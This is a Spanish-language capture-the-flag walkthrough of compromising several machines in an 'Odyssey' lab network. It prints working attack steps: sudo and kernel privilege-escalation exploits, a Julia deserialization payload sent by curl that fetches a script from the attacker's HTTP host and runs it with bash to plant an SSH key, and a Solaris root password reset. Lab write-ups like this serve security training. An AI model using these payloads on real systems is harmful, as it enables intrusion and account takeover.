asterisk@odyssey:~$
Buscando exploits encontramos el CVE-2021-3156 que se aprovecha de esto, simplemente copiamos el exploit y al ejecutarlo ganamos una shell como root
asterisk@odyssey:~$ python3 exploit_nss.py
# whoami
root
# hostname -I
192.168.21.12 172.17.0.1 10.1.148.128
# cat /root/flag.txt
ODYSSEY{W3_4LL_4r3_p4r7_Of_4_cluS73R}
#
Zero Entropy
ODYSSEY{JUL14_d353R14L124710n}
En el directorio /opt encontramos otro .git llamado apikey_beta de los repositorios de gogs que pertenece a elpenor, lo copiaremos a un directorio dentro de /tmp
root@odyssey:/opt/git/gogs-repositories/elpenor# ls -l
drwxr-xr-x 7 asterisk root 4096 Mar 25 2021 apikey_beta.git
drwxr-xr-x 7 asterisk root 4096 Feb 28 2021 rocketchat_bot.git
root@odyssey:/opt/git/gogs-repositories/elpenor# mkdir /tmp/otros
root@odyssey:/opt/git/gogs-repositories/elpenor# cp -r apikey_beta.git /tmp/otros/.git
root@odyssey:/opt/git/gogs-repositories/elpenor#
Si intentamos ver el estado nos pide que lo hagamos en una rama, despues de eliminar la configuracion de bare podemos ejecutarlo de nuevo y ver el estado
root@odyssey:/tmp/otros# git status
fatal: this operation must be run in a work tree
root@odyssey:/tmp/otros# git config --unset core.bare
root@odyssey:/tmp/otros# git status
On branch master
Changes to be committed:
(use "git restore --staged ..." to unstage)
deleted: README.md
deleted: genie.service
deleted: run.ji
root@odyssey:/opt/git/gogs-repositories/elpenor#
Hay 3 archivos borrados, los cuales podemos restaurar usando git reset --hard
root@odyssey:/tmp/otros# git reset --hard
HEAD is now at 0512c32 Update 'README.md'
root@odyssey:/tmp/otros# ls -l
-rw-r--r-- 1 root root 170 Aug 30 04:02 genie.service
-rw-r--r-- 1 root root 311 Aug 30 04:02 README.md
-rw-r--r-- 1 root root 627 Aug 30 04:02 run.ji
root@odyssey:/tmp/otros#
Iniciemos por el archivo genie.service que simplemente es un servicio que se corre bajo el usuario elpenor y simplemente ejecuta con julia el archivo run.ji
root@odyssey:/tmp/otros# cat genie.service
[Unit]
Description= Julia API
After=network.target
[Service]
Type=simple
User=elpenor
ExecStart=/usr/bin/julia /opt/beta_api/run.ji
[Install]
WantedBy=multi-user.target
root@odyssey:/tmp/otros#
El archivo run.ji es algo simple, define una web que recibe un parametro f por POST hacia la ruta /key, despues lo decodea de base64 y procede a deserializarlo
root@odyssey:/tmp/otros# cat run.ji
using Genie
using Genie.Router, Genie.Renderer, Genie.Renderer.Html, Genie.Renderer.Json, Genie.Requests, Base64, Serialization
route("/") do
return "Key API"
end
route("/key", method = POST) do
data = postpayload(:f)
io = IOBuffer()
iob64_decode = Base64DecodePipe(io)
write(io, data)
seekstart(io)
new_data = String(read(iob64_decode))
con = isfile("/tmp/f.txt")
if con == true
rm("/tmp/f.txt")
else
"N"
end
open("/tmp/f.txt", "w") do io
write(io, new_data)
end;
Serialization.deserialize("/tmp/f.txt");
end
up(3000, "0.0.0.0", async=false)
root@odyssey:/tmp/otros#
Buscando por vulnerabilidades en julia encontramos un ataque de deserializacion, tomamos el poc y lo usaremos para intentar ejecutar simplemente el comando id
❯ ./julia
_
_ _ _(_)_ | Documentation: https://docs.julialang.org
(_) | (_) (_) |
_ _ _| |_ __ _ | Type "?" for help, "]?" for Pkg help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 1.1.1 (2019-05-16)
_/ |\__'_|_|_|\__'_| | Official https://julialang.org/ release
|__/ |
julia> using Serialization
julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`id`);
julia> filt=filter(methods(Serialization.deserialize).ms) do m
String(m.file)[1]=='R' end;
julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));
julia>
Una vez creado se lo enviaremos a la .11 que es la que corre en el puerto 3000 el script que vimos antes, como parametro f le enviaremoa la data en base64 como se muestra en el codigo, como resultado ejecutamos el comando id como elpenor
❯ curl 192.168.21.11:3000/key -d "f=$(base64 -w0 poc.serialized_jl)"
uid=1000(elpenor) gid=1000(elpenor) groups=1000(elpenor)
En la maquina linux que tenemos compretida creamos un archivo que en caso de ejecutarse guarde nuestra clave publica como autorizada en el directorio ssh, esto como index.html y la compartiremos a traver de un servidor http con python
root@odyssey:~# cat index.html
mkdir /home/elpenor/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOChqNfHuH3wAgahGKW0RarFeScPycw5i9gJsIjvDWWS kali@kali" >> /home/elpenor/.ssh/authorized_keys
root@odyssey:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora creamos un payload con julia que haga una peticion al servidor http y guarde el contenido en el archivo llamado shell en el directorio /tmp y lo enviamos
❯ ./julia
_
_ _ _(_)_ | Documentation: https://docs.julialang.org
(_) | (_) (_) |
_ _ _| |_ __ _ | Type "?" for help, "]?" for Pkg help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 1.1.1 (2019-05-16)
_/ |\__'_|_|_|\__'_| | Official https://julialang.org/ release
|__/ |
julia> using Serialization
julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`curl 192.168.21.12 -o /tmp/shell`);
julia> filt=filter(methods(Serialization.deserialize).ms) do m
String(m.file)[1]=='R' end;
julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));
julia>
❯ curl 192.168.21.11:3000/key -d "f=$(base64 -w0 poc.serialized_jl)"
Al hacerlo recibimos una peticion en el servidor que significa que se descargo
root@odyssey:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.21.11 - - "GET / HTTP/1.1" 200 -
Finalmente creamos un payload que ejecute el archivo /tmp/shell con bash, enviamos y cuando se interprete guardara nuestra clave ssh como autorizada
❯ ./julia
_
_ _ _(_)_ | Documentation: https://docs.julialang.org
(_) | (_) (_) |
_ _ _| |_ __ _ | Type "?" for help, "]?" for Pkg help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 1.1.1 (2019-05-16)
_/ |\__'_|_|_|\__'_| | Official https://julialang.org/ release
|__/ |
julia> using Serialization
julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`bash /tmp/shell`);
julia> filt=filter(methods(Serialization.deserialize).ms) do m
String(m.file)[1]=='R' end;
julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));
julia>
❯ curl 192.168.21.11:3000/key -d "f=$(base64 -w0 poc.serialized_jl)"
Ya que se ha interpretado y aprovechando nuestra clave es autorizada podemos conectarnos por ssh como elpenor sin siquiera proporcionar una contraseña
❯ ssh elpenor@192.168.21.11
elpenor@dev01:~$ id
uid=1000(elpenor) gid=1000(elpenor) groups=1000(elpenor)
elpenor@dev01:~$ hostname -I
192.168.21.11 172.17.0.1
elpenor@dev01:~$ cat flag.txt
ODYSSEY{JUL14_d353R14L124710n}
elpenor@dev01:~$
Quantum foam
ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}
Mirando la version de linux en la que estamos encomtramos un Ubuntu 20.04 LTS el cual es vulnerable al CVE-2021-3493 que se aprovecha del kernel de linux
elpenor@dev01:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.2 LTS
Release: 20.04
Codename: focal
elpenor@dev01:~$
Aprovechando que la maquina tiene gcc compilamos el exploit y lo ejecutamos, al ejecutarlo conseguimos una bash como el usuario root donde leemos la flag
elpenor@dev01:~$ gcc exploit.c -o exploit
elpenor@dev01:~$ ./exploit
bash-5.0# whoami
root
bash-5.0# hostname -I
192.168.21.11 172.17.0.1
bash-5.0# cat /root/flag.txt
ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}
bash-5.0#
Planck Length
ODYSSEY{50LaR15_R8AC_ADM1n15tRAT10n}
En el directorio /root de dev01 encontramos un directorio llamado Solaris, el cual tiene un archivo llamado logins.json que contiene lo que parecen credenciales
root@dev01:~/Solaris# cat login.json
{
"username": "elpenor",
"password": "enRH+/<r5y48@yJ",
"scheme": "pam",
"preserve": true,
"timeout": -1
}
root@dev01:~/Solaris#
Al probar las credenciales hacia el servicio ssh de la maquina .13 que es la ultima maquina que nos queda obtenemos una shell como el usuario elpenor
❯ ssh elpenor@192.168.21.13
(elpenor@192.168.21.13) Password: enRH+/<r5y48@yJ
elpenor@dev:~$ id
uid=100(elpenor) gid=10(staff)
elpenor@dev:~$
Solaris tiene un comando que es auths el cual muestra las autorizaciones que tiene el usuario, curiosamente nuestro usuario actual tiene solaris.passwd.assign
elpenor@dev:~$ auths
solaris.account.activate,solaris.admin.wusb.read,solaris.mail.mailq,solaris.network.autoconf.read,solaris.passwd.assign
elpenor@dev:~$
Este privilegio nos permite cambiarle la contraseña a cualquier usuario, como root
elpenor@dev:~$ passwd root
New Password: password123#
Re-enter new Password: password123#
passwd: password successfully changed for root
elpenor@dev:~$
Despues de cambiarle la contraseña a root solo nos queda ejecutar un su y al proporcionar la contraseña nos convertimos en el, podemos leer la ultima flag
elpenor@dev:~$ su root
Password: password123#
root@dev:~# id
uid=0(root) gid=0(root)
root@dev:~# cat /root/flag.txt
ODYSSEY{50LaR15_R8AC_ADM1n15tRAT10n}
root@dev:~#